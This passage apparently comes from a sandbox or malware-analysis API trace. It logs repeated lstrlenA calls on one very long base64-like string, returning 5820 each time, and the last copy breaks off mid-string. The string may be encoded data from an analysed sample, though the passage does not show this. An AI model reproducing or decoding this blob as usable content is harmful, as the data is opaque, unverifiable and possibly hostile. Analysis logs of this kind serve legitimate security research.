65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.628] lstrlenA (lpString="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") returned 5820
	[0084.629] lstrlenA (lpString="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") returned 5820
	[0084.629] lstrlenA (lpString="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